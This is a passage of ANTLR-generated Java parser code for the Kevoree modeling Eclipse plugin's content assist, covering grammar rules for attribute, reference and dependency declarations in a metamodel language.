pushFollow(FOLLOW_rule__AttributeDeclaration__Group__3_in_rule__AttributeDeclaration__Group__23046);
rule__AttributeDeclaration__Group__3();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__AttributeDeclaration__Group__2"
// $ANTLR start "rule__AttributeDeclaration__Group__2__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1518:1: rule__AttributeDeclaration__Group__2__Impl : ( ':' ) ;
public final void rule__AttributeDeclaration__Group__2__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1522:1: ( ( ':' ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1523:1: ( ':' )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1523:1: ( ':' )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1524:1: ':'
{
before(grammarAccess.getAttributeDeclarationAccess().getColonKeyword_2());
match(input,27,FOLLOW_27_in_rule__AttributeDeclaration__Group__2__Impl3074);
after(grammarAccess.getAttributeDeclarationAccess().getColonKeyword_2());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__AttributeDeclaration__Group__2__Impl"
// $ANTLR start "rule__AttributeDeclaration__Group__3"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1537:1: rule__AttributeDeclaration__Group__3 : rule__AttributeDeclaration__Group__3__Impl rule__AttributeDeclaration__Group__4 ;
public final void rule__AttributeDeclaration__Group__3() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1541:1: ( rule__AttributeDeclaration__Group__3__Impl rule__AttributeDeclaration__Group__4 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1542:2: rule__AttributeDeclaration__Group__3__Impl rule__AttributeDeclaration__Group__4
{
pushFollow(FOLLOW_rule__AttributeDeclaration__Group__3__Impl_in_rule__AttributeDeclaration__Group__33105);
rule__AttributeDeclaration__Group__3__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__AttributeDeclaration__Group__4_in_rule__AttributeDeclaration__Group__33108);
rule__AttributeDeclaration__Group__4();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__AttributeDeclaration__Group__3"
// $ANTLR start "rule__AttributeDeclaration__Group__3__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1549:1: rule__AttributeDeclaration__Group__3__Impl : ( ruleattributeType ) ;
public final void rule__AttributeDeclaration__Group__3__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1553:1: ( ( ruleattributeType ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1554:1: ( ruleattributeType )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1554:1: ( ruleattributeType )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1555:1: ruleattributeType
{
before(grammarAccess.getAttributeDeclarationAccess().getAttributeTypeParserRuleCall_3());
pushFollow(FOLLOW_ruleattributeType_in_rule__AttributeDeclaration__Group__3__Impl3135);
ruleattributeType();
state._fsp--;
after(grammarAccess.getAttributeDeclarationAccess().getAttributeTypeParserRuleCall_3());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__AttributeDeclaration__Group__3__Impl"
// $ANTLR start "rule__AttributeDeclaration__Group__4"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1566:1: rule__AttributeDeclaration__Group__4 : rule__AttributeDeclaration__Group__4__Impl ;
public final void rule__AttributeDeclaration__Group__4() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1570:1: ( rule__AttributeDeclaration__Group__4__Impl )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1571:2: rule__AttributeDeclaration__Group__4__Impl
{
pushFollow(FOLLOW_rule__AttributeDeclaration__Group__4__Impl_in_rule__AttributeDeclaration__Group__43164);
rule__AttributeDeclaration__Group__4__Impl();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__AttributeDeclaration__Group__4"
// $ANTLR start "rule__AttributeDeclaration__Group__4__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1577:1: rule__AttributeDeclaration__Group__4__Impl : ( ( ruleannotationDeclr )* ) ;
public final void rule__AttributeDeclaration__Group__4__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1581:1: ( ( ( ruleannotationDeclr )* ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1582:1: ( ( ruleannotationDeclr )* )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1582:1: ( ( ruleannotationDeclr )* )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1583:1: ( ruleannotationDeclr )*
{
before(grammarAccess.getAttributeDeclarationAccess().getAnnotationDeclrParserRuleCall_4());
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1584:1: ( ruleannotationDeclr )*
loop14:
do {
int alt14=2;
int LA14_0 = input.LA(1);
if ( (LA14_0==31) ) {
alt14=1;
}
switch (alt14) {
case 1 :
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1584:3: ruleannotationDeclr
{
pushFollow(FOLLOW_ruleannotationDeclr_in_rule__AttributeDeclaration__Group__4__Impl3192);
ruleannotationDeclr();
state._fsp--;
}
break;
default :
break loop14;
}
} while (true);
after(grammarAccess.getAttributeDeclarationAccess().getAnnotationDeclrParserRuleCall_4());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__AttributeDeclaration__Group__4__Impl"
// $ANTLR start "rule__ReferenceDeclaration__Group__0"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1604:1: rule__ReferenceDeclaration__Group__0 : rule__ReferenceDeclaration__Group__0__Impl rule__ReferenceDeclaration__Group__1 ;
public final void rule__ReferenceDeclaration__Group__0() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1608:1: ( rule__ReferenceDeclaration__Group__0__Impl rule__ReferenceDeclaration__Group__1 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1609:2: rule__ReferenceDeclaration__Group__0__Impl rule__ReferenceDeclaration__Group__1
{
pushFollow(FOLLOW_rule__ReferenceDeclaration__Group__0__Impl_in_rule__ReferenceDeclaration__Group__03233);
rule__ReferenceDeclaration__Group__0__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__ReferenceDeclaration__Group__1_in_rule__ReferenceDeclaration__Group__03236);
rule__ReferenceDeclaration__Group__1();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ReferenceDeclaration__Group__0"
// $ANTLR start "rule__ReferenceDeclaration__Group__0__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1616:1: rule__ReferenceDeclaration__Group__0__Impl : ( ( rule__ReferenceDeclaration__Alternatives_0 ) ) ;
public final void rule__ReferenceDeclaration__Group__0__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1620:1: ( ( ( rule__ReferenceDeclaration__Alternatives_0 ) ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1621:1: ( ( rule__ReferenceDeclaration__Alternatives_0 ) )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1621:1: ( ( rule__ReferenceDeclaration__Alternatives_0 ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1622:1: ( rule__ReferenceDeclaration__Alternatives_0 )
{
before(grammarAccess.getReferenceDeclarationAccess().getAlternatives_0());
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1623:1: ( rule__ReferenceDeclaration__Alternatives_0 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1623:2: rule__ReferenceDeclaration__Alternatives_0
{
pushFollow(FOLLOW_rule__ReferenceDeclaration__Alternatives_0_in_rule__ReferenceDeclaration__Group__0__Impl3263);
rule__ReferenceDeclaration__Alternatives_0();
state._fsp--;
}
after(grammarAccess.getReferenceDeclarationAccess().getAlternatives_0());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ReferenceDeclaration__Group__0__Impl"
// $ANTLR start "rule__ReferenceDeclaration__Group__1"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1633:1: rule__ReferenceDeclaration__Group__1 : rule__ReferenceDeclaration__Group__1__Impl rule__ReferenceDeclaration__Group__2 ;
public final void rule__ReferenceDeclaration__Group__1() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1637:1: ( rule__ReferenceDeclaration__Group__1__Impl rule__ReferenceDeclaration__Group__2 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1638:2: rule__ReferenceDeclaration__Group__1__Impl rule__ReferenceDeclaration__Group__2
{
pushFollow(FOLLOW_rule__ReferenceDeclaration__Group__1__Impl_in_rule__ReferenceDeclaration__Group__13293);
rule__ReferenceDeclaration__Group__1__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__ReferenceDeclaration__Group__2_in_rule__ReferenceDeclaration__Group__13296);
rule__ReferenceDeclaration__Group__2();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ReferenceDeclaration__Group__1"
// $ANTLR start "rule__ReferenceDeclaration__Group__1__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1645:1: rule__ReferenceDeclaration__Group__1__Impl : ( RULE_ID ) ;
public final void rule__ReferenceDeclaration__Group__1__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1649:1: ( ( RULE_ID ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1650:1: ( RULE_ID )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1650:1: ( RULE_ID )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1651:1: RULE_ID
{
before(grammarAccess.getReferenceDeclarationAccess().getIDTerminalRuleCall_1());
match(input,RULE_ID,FOLLOW_RULE_ID_in_rule__ReferenceDeclaration__Group__1__Impl3323);
after(grammarAccess.getReferenceDeclarationAccess().getIDTerminalRuleCall_1());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ReferenceDeclaration__Group__1__Impl"
// $ANTLR start "rule__ReferenceDeclaration__Group__2"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1662:1: rule__ReferenceDeclaration__Group__2 : rule__ReferenceDeclaration__Group__2__Impl rule__ReferenceDeclaration__Group__3 ;
public final void rule__ReferenceDeclaration__Group__2() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1666:1: ( rule__ReferenceDeclaration__Group__2__Impl rule__ReferenceDeclaration__Group__3 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1667:2: rule__ReferenceDeclaration__Group__2__Impl rule__ReferenceDeclaration__Group__3
{
pushFollow(FOLLOW_rule__ReferenceDeclaration__Group__2__Impl_in_rule__ReferenceDeclaration__Group__23352);
rule__ReferenceDeclaration__Group__2__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__ReferenceDeclaration__Group__3_in_rule__ReferenceDeclaration__Group__23355);
rule__ReferenceDeclaration__Group__3();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ReferenceDeclaration__Group__2"
// $ANTLR start "rule__ReferenceDeclaration__Group__2__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1674:1: rule__ReferenceDeclaration__Group__2__Impl : ( ':' ) ;
public final void rule__ReferenceDeclaration__Group__2__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1678:1: ( ( ':' ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1679:1: ( ':' )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1679:1: ( ':' )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1680:1: ':'
{
before(grammarAccess.getReferenceDeclarationAccess().getColonKeyword_2());
match(input,27,FOLLOW_27_in_rule__ReferenceDeclaration__Group__2__Impl3383);
after(grammarAccess.getReferenceDeclarationAccess().getColonKeyword_2());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ReferenceDeclaration__Group__2__Impl"
// $ANTLR start "rule__ReferenceDeclaration__Group__3"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1693:1: rule__ReferenceDeclaration__Group__3 : rule__ReferenceDeclaration__Group__3__Impl rule__ReferenceDeclaration__Group__4 ;
public final void rule__ReferenceDeclaration__Group__3() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1697:1: ( rule__ReferenceDeclaration__Group__3__Impl rule__ReferenceDeclaration__Group__4 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1698:2: rule__ReferenceDeclaration__Group__3__Impl rule__ReferenceDeclaration__Group__4
{
pushFollow(FOLLOW_rule__ReferenceDeclaration__Group__3__Impl_in_rule__ReferenceDeclaration__Group__33414);
rule__ReferenceDeclaration__Group__3__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__ReferenceDeclaration__Group__4_in_rule__ReferenceDeclaration__Group__33417);
rule__ReferenceDeclaration__Group__4();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ReferenceDeclaration__Group__3"
// $ANTLR start "rule__ReferenceDeclaration__Group__3__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1705:1: rule__ReferenceDeclaration__Group__3__Impl : ( ruletypeName ) ;
public final void rule__ReferenceDeclaration__Group__3__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1709:1: ( ( ruletypeName ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1710:1: ( ruletypeName )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1710:1: ( ruletypeName )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1711:1: ruletypeName
{
before(grammarAccess.getReferenceDeclarationAccess().getTypeNameParserRuleCall_3());
pushFollow(FOLLOW_ruletypeName_in_rule__ReferenceDeclaration__Group__3__Impl3444);
ruletypeName();
state._fsp--;
after(grammarAccess.getReferenceDeclarationAccess().getTypeNameParserRuleCall_3());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ReferenceDeclaration__Group__3__Impl"
// $ANTLR start "rule__ReferenceDeclaration__Group__4"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1722:1: rule__ReferenceDeclaration__Group__4 : rule__ReferenceDeclaration__Group__4__Impl ;
public final void rule__ReferenceDeclaration__Group__4() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1726:1: ( rule__ReferenceDeclaration__Group__4__Impl )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1727:2: rule__ReferenceDeclaration__Group__4__Impl
{
pushFollow(FOLLOW_rule__ReferenceDeclaration__Group__4__Impl_in_rule__ReferenceDeclaration__Group__43473);
rule__ReferenceDeclaration__Group__4__Impl();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ReferenceDeclaration__Group__4"
// $ANTLR start "rule__ReferenceDeclaration__Group__4__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1733:1: rule__ReferenceDeclaration__Group__4__Impl : ( ( ruleannotationDeclr )* ) ;
public final void rule__ReferenceDeclaration__Group__4__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1737:1: ( ( ( ruleannotationDeclr )* ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1738:1: ( ( ruleannotationDeclr )* )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1738:1: ( ( ruleannotationDeclr )* )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1739:1: ( ruleannotationDeclr )*
{
before(grammarAccess.getReferenceDeclarationAccess().getAnnotationDeclrParserRuleCall_4());
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1740:1: ( ruleannotationDeclr )*
loop15:
do {
int alt15=2;
int LA15_0 = input.LA(1);
if ( (LA15_0==31) ) {
alt15=1;
}
switch (alt15) {
case 1 :
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1740:3: ruleannotationDeclr
{
pushFollow(FOLLOW_ruleannotationDeclr_in_rule__ReferenceDeclaration__Group__4__Impl3501);
ruleannotationDeclr();
state._fsp--;
}
break;
default :
break loop15;
}
} while (true);
after(grammarAccess.getReferenceDeclarationAccess().getAnnotationDeclrParserRuleCall_4());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ReferenceDeclaration__Group__4__Impl"
// $ANTLR start "rule__DependencyDeclaration__Group__0"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1760:1: rule__DependencyDeclaration__Group__0 : rule__DependencyDeclaration__Group__0__Impl rule__DependencyDeclaration__Group__1 ;
public final void rule__DependencyDeclaration__Group__0() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1764:1: ( rule__DependencyDeclaration__Group__0__Impl rule__DependencyDeclaration__Group__1 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1765:2: rule__DependencyDeclaration__Group__0__Impl rule__DependencyDeclaration__Group__1
{
pushFollow(FOLLOW_rule__DependencyDeclaration__Group__0__Impl_in_rule__DependencyDeclaration__Group__03542);
rule__DependencyDeclaration__Group__0__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__DependencyDeclaration__Group__1_in_rule__DependencyDeclaration__Group__03545);
rule__DependencyDeclaration__Group__1();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__DependencyDeclaration__Group__0"
// $ANTLR start "rule__DependencyDeclaration__Group__0__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1772:1: rule__DependencyDeclaration__Group__0__Impl : ( 'dependency' ) ;
public final void rule__DependencyDeclaration__Group__0__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1776:1: ( ( 'dependency' ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1777:1: ( 'dependency' )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1777:1: ( 'dependency' )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1778:1: 'dependency'
{
before(grammarAccess.getDependencyDeclarationAccess().getDependencyKeyword_0());
match(input,28,FOLLOW_28_in_rule__DependencyDeclaration__Group__0__Impl3573);
after(grammarAccess.getDependencyDeclarationAccess().getDependencyKeyword_0());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__DependencyDeclaration__Group__0__Impl"
// $ANTLR start "rule__DependencyDeclaration__Group__1"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1791:1: rule__DependencyDeclaration__Group__1 : rule__DependencyDeclaration__Group__1__Impl rule__DependencyDeclaration__Group__2 ;
public final void rule__DependencyDeclaration__Group__1() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1795:1: ( rule__DependencyDeclaration__Group__1__Impl rule__DependencyDeclaration__Group__2 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1796:2: rule__DependencyDeclaration__Group__1__Impl rule__DependencyDeclaration__Group__2
{
pushFollow(FOLLOW_rule__DependencyDeclaration__Group__1__Impl_in_rule__DependencyDeclaration__Group__13604);
rule__DependencyDeclaration__Group__1__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__DependencyDeclaration__Group__2_in_rule__DependencyDeclaration__Group__13607);
rule__DependencyDeclaration__Group__2();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__DependencyDeclaration__Group__1"
// $ANTLR start "rule__DependencyDeclaration__Group__1__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1803:1: rule__DependencyDeclaration__Group__1__Impl : ( RULE_ID ) ;
public final void rule__DependencyDeclaration__Group__1__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1807:1: ( ( RULE_ID ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1808:1: ( RULE_ID )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1808:1: ( RULE_ID )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1809:1: RULE_ID
{
before(grammarAccess.getDependencyDeclarationAccess().getIDTerminalRuleCall_1());
match(input,RULE_ID,FOLLOW_RULE_ID_in_rule__DependencyDeclaration__Group__1__Impl3634);
after(grammarAccess.getDependencyDeclarationAccess().getIDTerminalRuleCall_1());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__DependencyDeclaration__Group__1__Impl"
// $ANTLR start "rule__DependencyDeclaration__Group__2"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1820:1: rule__DependencyDeclaration__Group__2 : rule__DependencyDeclaration__Group__2__Impl rule__DependencyDeclaration__Group__3 ;
public final void rule__DependencyDeclaration__Group__2() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1824:1: ( rule__DependencyDeclaration__Group__2__Impl rule__DependencyDeclaration__Group__3 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1825:2: rule__DependencyDeclaration__Group__2__Impl rule__DependencyDeclaration__Group__3
{
pushFollow(FOLLOW_rule__DependencyDeclaration__Group__2__Impl_in_rule__DependencyDeclaration__Group__23663);
rule__DependencyDeclaration__Group__2__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__DependencyDeclaration__Group__3_in_rule__DependencyDeclaration__Group__23666);
